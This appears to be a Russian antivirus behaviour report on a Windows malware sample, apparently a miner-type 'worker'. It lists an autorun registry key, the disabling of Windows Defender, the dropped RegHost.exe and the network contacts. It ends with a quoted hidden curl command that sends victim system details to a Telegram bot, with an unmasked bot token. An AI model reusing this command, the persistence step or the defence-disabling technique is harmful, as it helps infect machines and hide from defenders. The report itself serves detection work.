Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'RegHost' = '%APPDATA%\Microsoft\RegHost.exe'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\microsoft\reghost.exe
Сетевая активность
Подключается к
- '65.##.234.58':8080
- 'ap#.##legram.org':443
- '80.##0.113.62':80
TCP
Запросы HTTP GET
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?ca##############
Другие
- 'ap#.##legram.org':443
UDP
- DNS ASK ap#.##legram.org
Другое
Запускает на исполнение
- '<SYSTEM32>\curl.exe' "https://api.telegram.org/bot5085421438:AAHmPt5uQhWzP79_WEIMYB3Sq6kZ9Hu2cNo/sendMessage?chat_id=-1001672031538&text=%F0%9F%99%88 New worker!%0AGPU: Microsoft Basic Display Adapter%0A(Windows De... (со скрытым окном)
